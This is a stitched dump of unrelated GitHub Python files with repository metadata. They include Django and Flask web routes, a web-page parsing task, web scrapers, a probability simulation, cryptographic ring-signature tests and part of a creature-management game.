landingPage.scraper_user_agent.user_agent_data\n else:\n user_agent = ''\n\n dirname = '{}-{}'.format(landingPage.id,\n landingPage.date_created.strftime('%s'))\n directory = join_path('assets', 'landing-pages', dirname)\n if landingPage.is_redirect_page:\n directory = directory.replace('landing-pages', 'redirect-pages')\n\n parser = PageParser(url, user_agent, directory)\n try:\n page_path = parser.parse_page()\n landingPage.path = page_path\n landingPage.status = 1\n except Exception as error:\n logger.info('[ ! ] parse_page task for LandingPage #{} failed with'\n ' exception: {}'.format(landingPage.id, error))\n landingPage.status = 3\n landingPage.save()\n","repo_name":"endlessor/Sadbar-Python-Django","sub_path":"page_parser/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"30264705091","text":"# fronse('

    hello world my name is %s i am %s years old

    '%(name, age))m django.http import HttpResponse\n#\n# def index(request,name,age):\n# return HttpResponse('

    hello world my name is {} i am {} years old

    '.format(name,age))\n#\n# def index1(request,name,age):\n# return HttpResponse('

    hello world my name is %s i am %d years old

    '%(name,age))\n#\n# def introduce(request,name,age):\n# return HttpRespo\n\n\n\nfrom django.http import HttpResponse\nfrom django.template.loader import get_template\n\ndef index(request):\n template = get_template(\"index.html\")\n result = template.render({'name':'laoxing'})\n return HttpResponse(result)\n\ndef page_list(request,page):\n page = int(page)\n template = get_template('page_list.html')\n result = template.render({'page':page})\n return HttpResponse(result)\n\nclass Saying:\n def say(self):\n return '哈哈哈'\n\ndef template_variable(request):\n data = {\n 'name':'老邢',\n 'en_name':'laoxin',\n 'age':18,\n 'project':['python','PHP','c','c++','java'],\n 'score':('python',100,'PHP',80),\n 's':Saying()\n }\n temp = get_template('template_variable.html')\n result = temp.render(data)\n return HttpResponse(result)\n\n\ndef template_label(request):\n data = {\n 'teacher':[\n {'name':'老邢','age':18},\n {'name':'老张','age':19},\n {'name':'老温','age':29},\n {'name':'老王','age':39},\n {'name':'老申','age':49},\n ]\n }\n temp = get_template('template_label.html')\n result = temp.render(data)\n return HttpResponse(result)","repo_name":"1457684435/-","sub_path":"ArticleBlog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14439860107","text":"def AutoSetHeader(header):\r\n rawHeader = header\r\n\r\n splitHeaderA = rawHeader.strip().split(\"\\n\")\r\n splitHeaderB = splitHeaderA[1:]\r\n HeaderInfo = {}\r\n for i in splitHeaderB:\r\n listHeader = i.strip().split(\":\",1)\r\n HeaderInfo[listHeader[0]] = listHeader[1].strip()\r\n\r\n return HeaderInfo\r\n\r\nprint(AutoSetHeader('''GET /test HTTP/1.1\r\n Host: xxx.xxx.com\r\n Accept: application/json, text/plain, */*\r\n Sec-Ch-Ua-Mobile: ?0\r\n User-Agent: xxxxxx\r\n Origin: https://xxx.xxx.com\r\n Sec-Fetch-Site: same-site\r\n Sec-Fetch-Mode: cors\r\n Sec-Fetch-Dest: empty\r\n Referer: https://xxx.xxx.com/\r\n Accept-Encoding: gzip, deflate\r\n Accept-Language: zh-CN,zh;q=0.9\r\n Connection: close\r\n\r\n '''))\r\n","repo_name":"tmp302/Python","sub_path":"AutoSetHeader.py","file_name":"AutoSetHeader.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73816305853","text":"from flask import render_template, redirect, url_for, request, Blueprint, abort\nfrom flaskcarleasing.models import Car, Concern\nfrom flaskcarleasing.config import db, delim, static_path\nfrom cars.forms import AddCarForm\nimport hashlib\nfrom flask import flash\nfrom flask_login import current_user\nimport os\nimport secrets\nfrom utils.functions import save_picture\nfrom utils.decorators import check_rights\n\n\ncars = Blueprint('cars', __name__, template_folder='templates')\n\n\n@cars.route('/')\ndef index():\n page = request.args.get('page', 1, type=int)\n\n cs = Car.query.order_by(Car.id).paginate(page, 3, False)\n return render_template('cars/index.html', cars=cs)\n\n\n@cars.route('/add', methods=['GET', 'POST'])\n@check_rights\ndef add():\n print(current_user)\n\n form = AddCarForm()\n\n if form.validate_on_submit():\n car = Car()\n car.concern_id = form.concern.data.id\n car.model = form.model.data\n car.price_per_day = form.price_per_day.data\n car.description = form.description.data\n\n if form.pic.data:\n car.pic = save_picture(form.pic.data)\n \n db.session.add(car)\n db.session.commit()\n\n print(car.pic)\n\n flash(f'{car.concern.title} {car.model} was successfully added to db!', 'info')\n return redirect(url_for('cars.index'))\n\n return render_template('cars/add.html', form=form)\n\n@cars.route('//update', methods=['GET', 'POST'])\n@check_rights\ndef update(car_id):\n car = Car.query.get_or_404(car_id)\n form = AddCarForm()\n\n if request.method == 'GET':\n form.concern.data = car.concern\n form.price_per_day.data = car.price_per_day\n form.model.data = car.model\n form.submit.label.text = 'Edit'\n form.description.data = car.description\n\n if form.validate_on_submit():\n if form.pic.data and car.pic != 'default.png':\n pic_path = os.path.join(static_path, f'pics{delim}{car.pic}')\n os.remove(pic_path)\n\n car.pic = save_picture(form.pic.data)\n\n car.model = form.model.data\n car.concern = form.concern.data\n car.price_per_day = form.price_per_day.data\n car.description = form.description.data\n \n db.session.commit()\n db.session.flush()\n\n flash(f'Successfully edited {car.concern.title} {car.model}')\n return redirect(url_for('cars.update', car_id=car.id))\n\n return render_template('cars/update.html', car=car, form=form)\n\n\n@cars.route('//delete', methods=['GET', 'POST'])\n@check_rights\ndef delete(car_id):\n car = Car.query.get_or_404(car_id)\n\n if request.method == 'POST':\n db.session.delete(car)\n\n db.session.commit()\n db.session.flush()\n\n if car.pic != 'default.png':\n pic_path = os.path.join(static_path, f'pics{delim}{car.pic}')\n os.remove(pic_path)\n\n flash(f'{car.concern.title} {car.model} was removed from the database!')\n return redirect(url_for('concerns.view', title=car.concern.title))\n\n return render_template('cars/delete.html', car=car) ","repo_name":"greedWizard/flaskcarleasingapp","sub_path":"application/cars/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42730350828","text":"import math\nimport random\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# 1\n\nt1 = 2\nt2 = 1\nn = 100\n\np1 = math.e**(-1/t1 * 1.5)\np2 = math.e**(-1/t2 * 1.5)\n\npa = p1 * p2\npb = p1 * (1 - p2)\npc = (1 - p1) * (1 - p2)\n\npa_simulated = 0\npb_simulated = 0\npc_simulated = 0\n\nfor i in range(n):\n x1 = random.uniform(0, 1)\n x2 = random.uniform(0, 1)\n if (x1 < p1) and (x2 < p2):\n pa_simulated += 1\n if (x1 < p1) and (x2 >= p2):\n pb_simulated += 1\n if (x1 >= p1) and (x2 >= p2):\n pc_simulated += 1\n\nprint(\"№1\")\nprint(\"Аналитические вероятности:\")\nprint(f\"P(ни один блок не откажет) = {pa}\")\nprint(f\"P(откажет только второй блок) = {pb}\")\nprint(f\"P(откажут оба блока) = {pc}\\n\")\n\nprint(\"Вероятности по имитационному моделированию:\")\nprint(f\"P(ни один блок не откажет) = {pa_simulated/n}\")\nprint(f\"P(откажет только второй блок) = {pb_simulated/n}\")\nprint(f\"P(откажут оба блока) = {pc_simulated/n}\\n\")\n\n# 2\nTn = 100\nlambda_ = 8/24\nMx = 10\nsigma = 4\n\ntrain_times = []\ntrain_carriages = []\nwhile sum(train_times) < Tn:\n train_time = random.expovariate(lambda_)\n if sum(train_times) + train_time > Tn:\n break\n train_carriages_count = round(random.normalvariate(10, 4))\n train_times.append(train_time)\n train_carriages.append(train_carriages_count)\n\n\nprint(\"№2\")\nprint(train_times)\nprint(f\"Кол-во поездов: {len(train_times)}\")\nprint(f\"Среднее количество вагонов: {np.mean(train_carriages)}\\n\")\n# plt.eventplot(train_times, color='black')\n# plt.xlabel('Время')\n# plt.ylabel('Поезда')\n# plt.show()\n\n# 3\nTn = 100\nMx = 1.5\nsigma = 0.5\n\nlambdaK = 1 / Mx\nk = 1 / (sigma ** 2 * lambdaK ** 2)\nlambda_ = lambdaK * k\nt = 0\n\nlights_time = []\n\nwhile (t cos_sim:\n index = i\n cos_sim = c[0][0]\nprint(idsToWord[index])","repo_name":"skolasan/storyteller","sub_path":"vocab_expansion.py","file_name":"vocab_expansion.py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40111775714","text":"from bs4 import BeautifulSoup\nimport requests\nfrom html5lib_to_markdown import transform\nfrom tqdm import tqdm\n\n\nwith open ('weapon_abilities.txt', 'r', encoding='utf-8-sig') as abilities:\n\n\tfor num, i in enumerate(tqdm(abilities)):\n\n\t\ttry:\n\t\t\ti = i.strip()\n\t\t\turl = f'https://aonprd.com/MagicWeaponsDisplay.aspx?ItemName={i}'\n\t\t\thtml = requests.get(url).text\n\t\t\tsoup = BeautifulSoup(html, \"html.parser\")\n\t\t\tabil = soup.find(id=\"ctl00_MainContent_DataListTypes_ctl00_LabelName\")\n\n\t\t\ttry:\n\t\t\t\t[a.unwrap() for a in abil.find_all('a')]\n\t\t\t\t[img.unwrap() for img in abil.find_all('img')]\n\t\t\texcept: pass\n\n\t\t\tprice_b = str(abil.find('b', string='Price').next_sibling)\n\t\t\tprice_b = price_b.strip().strip(';')\n\n\t\t\tmeta_desc = soup.find('meta', {'name':'description'})\n\t\t\tdescription = transform(meta_desc['content']).strip()\n\t\t\tdescription = description.replace('\\n\\n','\\n ')\n\n\t\t\toutput = f'---\\nname: \"{i}\"\\ntype: \"weapon_quality\"\\nprice: \"{price_b}\"\\ndescription: |\\n \"{description}\"\\n---\\n\\n'\n\t\t\toutput += transform(str(abil))\n\n\t\t\twith open(f'weapon_magic_abilities/{i}.md', 'w', encoding='utf-8-sig') as w_file:\n\t\t\t\tw_file.write(output)\n\t\t\t\t# print(i)\n\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tcontinue\n\t\t\n\n\t\t","repo_name":"he1lhamster/pathfinder1-vault","sub_path":"zz_scripts/weapon_abilities.py","file_name":"weapon_abilities.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37905873496","text":"from os import path\nfrom flask import current_app\nfrom flask.ext.script import Shell, Manager, Server, prompt_bool\nimport evesso.models\nfrom evesso import db\n\nimport logging\nlog = logging.getLogger(__name__)\n\nmanager = Manager(evesso.create_app)\nmanager.add_command(\"runserver\", Server())\nmanager.add_option(\"-c\", \"--config\", dest=\"config\", default='dev_config.py', required=False)\n\n\ndef _make_context():\n from flask import current_app\n\n return dict(app=current_app, drop=drop, create=create, recreate=recreate, populate=populate, **vars(evesso.models))\n\n\nmanager.add_command(\"shell\", Shell(make_context=lambda: _make_context()))\n\n\n@manager.command\ndef drop():\n \"Drops database tables\"\n if prompt_bool(\"Are you sure you want to lose all your data\"):\n db.drop_all()\n\n\n@manager.command\ndef create(default_data=True, sample_data=False):\n \"Creates database tables from sqlalchemy models\"\n db.create_all()\n if default_data or sample_data:\n populate(default_data, sample_data)\n\n\n@manager.command\ndef recreate(default_data=True, sample_data=False):\n \"Recreates database tables (same as issuing 'drop' and then 'create')\"\n drop()\n\n create(default_data, sample_data)\n\n\n@manager.command\ndef populate(default_data=True, sample_data=False):\n \"Populate database with default data\"\n from fixtures import dbfixture\n\n if default_data:\n from fixtures import ChatroomData\n default_data = dbfixture.data(ChatroomData)\n default_data.setup()\n\n\n@manager.command\ndef runsocket(config=''):\n from evesso import create_app, db\n from evesso.chat import socketio\n app = create_app(config)\n app.debug = False\n app.socketio.run(app, port=5000, host='0.0.0.0')\n\n\ndef main():\n manager.run()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"TomNeyland/eve-sso","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"12298200474","text":"import requests\nfrom bs4 import BeautifulSoup as bs\nimport pandas as pd\nfrom config import client_access_token\nimport lyricsgenius as genius\n\ngeniusAPI = genius.Genius(client_access_token)\n\n\n######### PROVA #######\nclassifiche = [{'name': 'Jazz', 'urlTag': 'jazz-digital-song-sales'}]\n\n# classifiche = [{'name': 'Rock', 'urlTag': 'hot-rock-songs'},\n# {'name': 'Country', 'urlTag': 'hot-country-songs'},\n# {'name': 'R&B/Hip-Hop', 'urlTag': 'hot-r-and-and-b-hip-hop-songs'},\n# {'name': 'Dance/Electronic', 'urlTag': 'dance-electronic-streaming-songs'},\n# {'name': 'Pop', 'urlTag': 'pop-songs'},\n# {'name': 'Classical', 'urlTag': 'classical-digital-song-sales'},\n# {'name': 'Latin', 'urlTag': 'hot-latin-songs'},\n# {'name': 'Rap', 'urlTag': 'hot-rap-songs'},\n# {'name': 'Reggae', 'urlTag': 'reggae-digital-songs'},\n# {'name': 'Blues', 'urlTag': 'blues-digital-song-sales'},\n# {'name': 'Jazz', 'urlTag': 'jazz-digital-song-sales'}]\n#\n\nanni = [i for i in range(2002, 2019 + 1)]\n\n\ndef Billboard(anno):\n\n def diz_canzoni(url):\n\n for anno in anni:\n\n for classifica in classifiche:\n\n ''' Estrazione testo html'''\n page = requests.get(url, headers={'User-agent': 'your bot 0.1'}).text\n soup = bs(page, \"html.parser\")\n lista_class = soup.find_all(\"div\", attrs={\"class\": \"ye-chart-item__primary-row\"})\n\n ''' Ricerca posizione, titolo e artista all'interno del testo html e posti all'interno\n di una lista di dizionari. Pulito successivamente per cercare i testi utilizzando i titoli\n su Genius'''\n classifica = []\n for i in lista_class:\n classifica.append({'Rank': int(i.find(\"div\", attrs={\"class\": \"ye-chart-item__rank\"}).text),\n 'Titolo': i.find(\"div\", attrs={\"class\": \"ye-chart-item__title\"}).text.strip(),\n\n 'Artista': i.find(\"div\",\n attrs={\"class\": \"ye-chart-item__artist\"}).text.strip() \\\n .replace(' x ', ' & ').replace(' X ', ' & ')})\n\n return classifica\n\n def genius_lyrics(Titolo, Artista):\n ''' Ricerca testo canzone col check in caso di testo non trovato'''\n try:\n return geniusAPI.search_song(Titolo, Artista).lyrics\n except:\n return\n\n def ricerca(classifiche):\n\n for classifica in classifiche:\n i = 0\n for canzone in classifica['liste']:\n i += 1\n\n # Visualizza a schermo la canzone che sto cercando\n print('Anno: ', anno)\n print('Genere: ', classifica['name'])\n print('Getting song', i, ':', canzone['Titolo'])\n\n canzone['Testo'] = genius_lyrics(canzone['Titolo'], canzone['Artista'])\n\n artistSplits = ['Featuring', 'With', 'And', '&', '/', ',']\n for splitter in artistSplits:\n\n if canzone['Testo']:\n break\n\n canzone['Testo'] = genius_lyrics(canzone['Titolo'],\n canzone['Artista'].split(splitter)[0].strip())\n\n if not canzone['Testo']:\n canzone['Testo'] = genius_lyrics(canzone['Titolo'].split('(')[0].strip(),\n canzone['Artista'])\n return\n\n def lista_DF(classifiche):\n\n classifiche_DF = None\n for classifica in classifiche:\n tempDf = pd.DataFrame.from_dict(classifica['liste'])\n tempDf['Genere'] = classifica['name']\n\n classifiche_DF = pd.concat([classifiche_DF, tempDf])\n\n classifiche_DF['Anno'] = anno\n\n classifiche_DF.reset_index(inplace=True, drop=True)\n\n classifiche_DF = classifiche_DF[['Anno',\n 'Genere',\n 'Rank',\n 'Titolo',\n 'Artista',\n 'Testo']]\n\n print(classifiche_DF)\n\n return classifiche_DF\n\n for classifica in classifiche:\n classifica['url'] = (\"https://www.billboard.com/charts/year-end\" +\n \"/\" + str(anno) + '/' + classifica['urlTag'])\n\n for classifica in classifiche:\n classifica['liste'] = diz_canzoni(classifica['url'])\n\n ricerca(classifiche)\n\n return lista_DF(classifiche)\n\n\ndef scaricare():\n class_totali_DF = None\n for anno in anni:\n classifiche_DF = Billboard(anno)\n class_totali_DF = pd.concat([class_totali_DF, classifiche_DF])\n\n canzoni_trovate = class_totali_DF.groupby(['Anno', 'Genere']).Genere.count()\n canzoni_trovate.name = 'Canzoni per Genere'\n\n testi_trovati = class_totali_DF.groupby(['Anno', 'Genere']).Testo.count()\n testi_trovati.name = 'Testi trovati'\n\n perc_testi_trovati = (class_totali_DF.groupby(['Anno', 'Genere']).Testo.count() /\n class_totali_DF.groupby(['Anno', 'Genere']).Genere.count())\n perc_testi_trovati.name = 'songsFoundPercentage'\n\n Summary = pd.concat([canzoni_trovate, testi_trovati, testi_trovati], axis=1)\n\n print(Summary)\n print('\\n================\\n')\n print('Canzoni Totali:', len(class_totali_DF))\n print('Canzoni Trovate:', class_totali_DF.Testo.count())\n print('Canzoni non trovate:', len(class_totali_DF) - class_totali_DF.Testo.count())\n print('Percentuale di canzoni trovate',\n class_totali_DF.Testo.count() * 100 / len(class_totali_DF))\n\n #class_totali_DF.to_csv('Dataset.csv',index=False, encoding='utf-8')\n\n return class_totali_DF\n\nif __name__ == '__main__':\n df = scaricare()\n #df.to_csv('dataset/Dataset.csv')","repo_name":"fabiopuddu77/Music_lyrics_with_python","sub_path":"spider_scrapper.py","file_name":"spider_scrapper.py","file_ext":"py","file_size_in_byte":6033,"program_lang":"python","lang":"it","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"4883134773","text":"import crypto_monero as cm\nimport ed25519_dholth as ed25519\nimport binascii\nimport random\nimport hashlib\n\ndef test_hash():\n\tM = 'hello world'\n\th1 = cm.H(M.encode())\n\n\ts = hashlib.sha3_256()\n\ts.update(M.encode())\n\th2 = s.hexdigest()[2:].encode()\n\n\tprint(h1)\n\tprint(h2)\n\ndef test_encode_decode():\n\tfor i in range(0,10):\n\t\tx = random.randint(-ed25519.q,ed25519.q) % ed25519.l\n\t\tx_encoded = ed25519.encodeint(x)\n\t\tx_hexlified = binascii.hexlify(x_encoded)\n\t\tx_decoded = ed25519.decodeint(x_encoded)\n\t\tif x != x_decoded:\n\t\t\tprint('---NOT MATCH--- x=',x)\n\t\t\tprint(x_encoded)\n\t\t\tprint(x_hexlified)\n\t\t\tprint(x_decoded)\n\n\t\tif i % 7 == 0:\n\t\t\tprint(x_encoded)\n\t\t\tprint(x_hexlified)\n\t\t\tprint(str(x).encode())\n\t\t\tprint(x_decoded)\n\ndef test_add_mult_int():\n\tprint(ed25519.l)\n\tx = -10\n\ty = 11\n\ta = -12\n\tsum_int = (x-a*y) % ed25519.l\n\tprint(sum_int)\n\n\ndef test_Schnorr_Signatures():\n\tsuccess = True\n\tfor i in range(0,200):\n\t\tsk_hex, PK_hex = cm.gen_keypair()\n\t\tmsg = str(random.randint(0,ed25519.q))\n\t\tQ_hex,sig_hex = cm.schnorr_signature(msg, sk_hex)\n\t\tif not cm.schnorr_verify(msg, PK_hex, Q_hex, sig_hex):\n\t\t\tprint('---NOT MATCH---')\n\t\t\tprint(Q_hex)\n\t\t\tprint(sig_hex)\n\t\t\tsuccess = False\n\t\tif i % 33 == 0:\n\t\t\tprint(Q_hex)\n\t\t\tprint(sig_hex)\n\tprint('success' if success else 'fail')\n\ndef test_AOS_Signature():\n\tfail = []\n\tfor i in range(5):\n\t\tsk_hex, PK_hex = cm.gen_keypair(0)\n\n\t\tfor size in range(1,15):\n\t\t\tdecoy_group = cm.create_decoy_group(size)\n\t\t\tM = str(random.randint(0,ed25519.q))\n\n\t\t\tfor index_pi in range(0,size):\n\t\t\t\te0, s_list, PK_list = cm.aos_ring_signature(M, decoy_group, PK_hex,sk_hex,index_pi)\n\t\t\t\tresult = cm.aos_ring_verify(M, PK_list, e0, s_list)\n\t\t\t\tresult_packet = (i,size,index_pi,'success' if result else 'FAIL')\n\t\t\t\t\n\t\t\t\tif not result:\n\t\t\t\t\tprint('%d-th(pos. test), sz=%d, pi=%d, %s'%result_packet)\n\t\t\t\t\tfail.append(result_packet)\n\n\t\t\t\tif i % 25 == 0:\n\t\t\t\t\tprint('%d-th(pos. test), sz=%d, pi=%d, %s'%result_packet)\n\n\t\tfor size in range(1,15):\n\t\t\tsk_fake_hex, _ = cm.gen_keypair(0)\n\t\t\tdecoy_group = cm.create_decoy_group(size)\n\t\t\tM = str(random.randint(0,ed25519.q))\n\n\t\t\tfor index_pi in range(0,size):\n\t\t\t\te0, s_list, PK_list = cm.aos_ring_signature(M, decoy_group, PK_hex,sk_fake_hex)\n\t\t\t\tresult = cm.aos_ring_verify(M, PK_list, e0, s_list)\n\t\t\t\tresult_packet = (i,size,index_pi,'success' if not result else 'FAIL')\n\t\t\t\t\n\t\t\t\tif result:\n\t\t\t\t\tprint('%d-th(neg. test), sz=%d, pi=%d, %s'%result_packet)\n\t\t\t\t\tfail.append(result_packet)\n\n\t\t\t\t# if i % 25 == 0:\n\t\t\t\tprint('%d-th(neg. test), sz=%d, pi=%d, %s'%result_packet)\n\n\t\t# if i % 3 == 0:\n\t\t# \t\tprint('tested %d-th'%(i))\n\n\tprint('-- result --')\n\tprint('# of FAIL: ',len(fail))\n\tprint(fail)\n\ndef test_Borromean_Signature_single():\n\t# for c in range(100):\n\tPK_matrix = []\n\tPK_vector = []\n\tsk_vector = []\n\tnum_row = 5\n\n\tM = 'hello'\n\n\tfor i in range(0,num_row):\n\t\tg = cm.create_decoy_group(4)\n\t\tPK_matrix.append(g)\n\n\tfor i in range(0,num_row):\n\t\tsk, PK = cm.gen_keypair(0)\n\t\tsk_vector.append(sk)\n\t\tPK_vector.append(PK)\n\n\te0,s,PK_matrix = cm.borromean_ring_signature(M, PK_matrix, PK_vector, sk_vector)\n\tprint('---------')\n\tprint('e0:',e0)\n\tprint('s:',s)\n\tprint('============verifiy')\n\tprint(cm.borromean_verify(M, PK_matrix, e0, s))\n\ndef test_Borromean_Signature_batch():\n\tsuccess = True\n\tnum_err = 0\n\tfor i in range(100):\n\t\tfor num_row in range(1,6):\n\t\t\tfor ring_size in range(1,6):\n\n\t\t\t\tPK_matrix = []\n\t\t\t\tPK_vector = []\n\t\t\t\tsk_vector = []\n\n\t\t\t\tM = str(random.randint(0,ed25519.q))\n\n\t\t\t\t# create group\n\t\t\t\tfor j in range(0,num_row):\n\t\t\t\t\tg = cm.create_decoy_group(4)\n\t\t\t\t\tPK_matrix.append(g)\n\n\t\t\t\t# create secret key\n\t\t\t\tfor k in range(0,num_row):\n\t\t\t\t\tsk, PK = cm.gen_keypair(0)\n\t\t\t\t\tsk_vector.append(sk)\n\t\t\t\t\tPK_vector.append(PK)\n\n\t\t\t\te0,s,PK_matrix = cm.borromean_ring_signature(M, PK_matrix, PK_vector, sk_vector)\n\t\t\t\tresult = cm.borromean_verify(M, PK_matrix, e0, s)\n\t\t\t\tif not result:\n\t\t\t\t\tnum_err += 1\n\t\t\t\t\n\t\t\t\tprint('%d: {#r: %d, #n: %d, result: %s}'%(i,num_row,ring_size,'success' if result else 'fail'))\n\n\t\tprint('===== Done %d-th test'%(i))\n\n\tprint('DONE with %s'%('no error' if success else '%d errors'%(num_err)))\n\n\n\ndef test_curve1():\n\tsk = b'd17f7ee37fc904cd04692a0db2a8aa003008de6865d7b0ed7c1515b9892cca03'\n\tPK = cm.scalarmult_base(sk)\n\t# sk, PK = gen_keypair()\n\talpha_hex = cm.rand()\n\tprint(sk)\n\tprint(PK)\n\tprint(alpha_hex)\n\n\tprint('------ ------ ------')\n\n\talpha_int_1 = ed25519.decodeint(binascii.unhexlify(alpha_hex))\n\t# alpha_int_2 = ed25519.decodeint(alpha_hex)\n\t# alpha_int_3 = int.from_hexs(alpha_hex,byteorder='big')\n\t# print('{',alpha_int_1)\n\t# print('{',alpha_int_2)\n\t# print('{',alpha_int_3)\n\t# print(':',binascii.hexlify(ed25519.encodeint(alpha_int_1)))\n\n\tsk_int_1 = ed25519.decodeint(binascii.unhexlify(sk))\n\n\n\talphaPK_hex = cm.scalarmult(PK, alpha_hex)\n\tprint('1: ',alphaPK_hex)\n\n\tPK_pt = ed25519.decodepoint(binascii.unhexlify(PK))\n\talphaPK_pt = ed25519.decodepoint(binascii.unhexlify(alphaPK_hex))\n\n\tprint(ed25519.isoncurve(PK_pt))\n\tprint(ed25519.isoncurve(alphaPK_pt))\n\n\tprint('------ ------ ------')\n\n\t# (alpha * sk) mod l\n\tsk_x_alpha_int = (alpha_int_1 * sk_int_1) % ed25519.l\n\n\n\tprint(sk_x_alpha_int)\n\tsk_x_alpha_hex = binascii.hexlify(ed25519.encodeint(sk_x_alpha_int))\n\tprint(sk_x_alpha_hex)\n\tprint(ed25519.decodeint(binascii.unhexlify(sk_x_alpha_hex)))\n\n\tsk_x_alpha_x_G_hex = cm.scalarmult_base(sk_x_alpha_hex)\n\tprint('2: ',sk_x_alpha_x_G_hex)\n\n\tsk_x_alpha_x_G_pt = ed25519.decodepoint(binascii.unhexlify(sk_x_alpha_x_G_hex))\n\tprint(ed25519.isoncurve(sk_x_alpha_x_G_pt))\n\n\tprint('------ ------ ------')\n\tprint(alphaPK_pt==sk_x_alpha_x_G_pt)\n\nif __name__ == '__main__':\n\ttest_hash()\n\t# test_sig_1()\n\t# test_curve()\n\t# test_curve1()\n\t# test_encode_decode()\n\t# test_add_mult_int()\n\t# test_Schnorr_Signatures()\n\t# test_AOS_Signature()\n\t# test_Borromean_Signature_single()\n\t# test_Borromean_Signature_batch()","repo_name":"abmushi/crypto","sub_path":"crypto/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5799,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"21485742208","text":"from abc import ABC, abstractmethod\nfrom random import randint, choice, random\nimport p\nimport Tarea1\nimport crear\nimport Tarea1c\ndef abrir_archivos():\n with open(p.PATH_CRIATURAS, 'rt', encoding=\"utf-8\") as archivo:\n lineas_criaturas = archivo.readlines()\n with open(p.PATH_MAGIZOOLOGOS, 'rt', encoding=\"utf-8\") as archivo:\n lineas_magizoologos = archivo.readlines()\n criaturas = []\n magizoologos = []\n for i in lineas_criaturas:\n a = i.split(\",\")\n if a[1] == \"Niffler\":\n b = Tarea1.Niffler(a[0], a[1], a[2], a[7], a[8], a[3], a[4], a[5], a[9], a[11], a[10],\\\n a[12], a[6])\n if a[1] == \"Erkling\":\n b = Tarea1.Erkling(a[0], a[1], a[2], a[7], a[8], a[3], a[4], a[5], a[9], a[11], a[10],\\\n a[12], a[6])\n if a[1] == \"Augurey\":\n b = Tarea1.Augurey(a[0], a[1], a[2], a[7], a[8], a[3], a[4], a[5], a[9], a[11], a[10],\\\n a[12], a[6])\n criaturas.append(b)\n\n for i in lineas_magizoologos:\n a = i.split(\",\")\n c = a[3].split(\";\")\n criaturas_como_clase = []\n d = a[4].split(\";\")\n alimentos_como_clase = []\n for j in d:\n if j == \"Tarta de Melaza\":\n alimentos_como_clase.append(Tarea1c.TartaDeMelaza())\n elif j == \"Buñuelo de Gusarajo\":\n alimentos_como_clase.append(Tarea1c.BuñueloDeGusarajo())\n else:\n alimentos_como_clase.append(Tarea1c.HigadoDeDragon())\n\n for j in criaturas:\n for k in c:\n if j.nombre == k:\n criaturas_como_clase.append(j)\n a[3] = criaturas_como_clase\n a[4] = alimentos_como_clase\n if a[1] == \"Docencio\":\n b = Tarea1.MagizoologoDocencio(a[0], a[1], a[3], a[4], a[2], a[5], a[6], a[7], a[8],\\\n a[9], a[10])\n if a[1] == \"Tareo\":\n b = Tarea1.MagizoologoTareo(a[0], a[1], a[3], a[4], a[2], a[5], a[6], a[7], a[8],\\\n a[9], a[10])\n if a[1] == \"Híbrido\":\n b = Tarea1.MagizoologoHibrido(a[0], a[1], a[3], a[4], a[2], a[5], a[6], a[7], a[8],\\\n a[9], a[10])\n magizoologos.append(b)\n return [criaturas, magizoologos]\n\ndef escribir_archivos(path_magizoologos, path_criaturas, criaturas, magizoologos):\n x = open(path_magizoologos, \"w\", encoding=\"utf-8\")\n y = open(path_criaturas, \"w\", encoding=\"utf-8\")\n for mago in magizoologos:\n criaturas = []\n alimentos = []\n \n for criatura in mago.criaturas:\n criaturas.append(criatura.nombre)\n for alimento in mago.alimentos:\n alimentos.append(alimento.nombre)\n\n c = \";\".join(criaturas)\n d = \";\".join(alimentos)\n a = [mago.nombre, mago.tipo, mago.sickles, c, d, mago.licencia, mago.nivel_magico,\\\n mago.destreza, mago.energia_total, mago.responsabilidad, \\\n mago.habilidad_especial_usada]\n print(*a, sep = \",\" , file = x)\n for criatura in mago.criaturas:\n b = [criatura.nombre, criatura.tipo, criatura.nivel_magico, criatura.prob_escape,\\\n criatura.prob_enfermar, criatura.estado_salud, criatura.estado_escape, \\\n criatura.salud_total, criatura.salud_actual, criatura.nivel_hambre, \\\n criatura.nivel_agresividad, criatura.sin_comer,criatura.nivel_cleptomania]\n print(*b, sep = \",\" , file = y)\n x.close()\n y.close()\n\ndef menus(path_magizoologos, path_criaturas, criaturas, magizoologos):\n j = 0\n while j == 0:\n print(\" \")\n print(\"*********** MENÚ DE INICIO ***********\") \n print(\" \") \n print(\"Bienvenid@ a DCCRIATURAS FANTÁSTICAS!!\")\n print(\"Seleccione una opción:\")\n print(\"[1] Crear Magizoólogo\")\n print(\"[2] Cargar Magizoólogo\")\n print(\"[3] Salir\")\n opcion_menu_inicio = input(\"Indique su opción (1,2 o 3): \")\n if opcion_menu_inicio == \"1\" or opcion_menu_inicio == \"2\":\n nombre_de_usuario = input(\"Ingrese nombre de usuario: \")\n existe_mago = 0\n if nombre_de_usuario.isalnum() == False or len(nombre_de_usuario) == 0:\n opcion_menu_inicio = 4 #para hacer que no entre en los if siguientes\n print(\"El nombre de usuario solo debe incluir caractéres alfanumericos y debe \\\ntener a lo menos un caracter\")\n for magico in magizoologos:\n if nombre_de_usuario.lower() == magico.nombre.lower():\n existe_mago += 1\n if existe_mago == 1 and 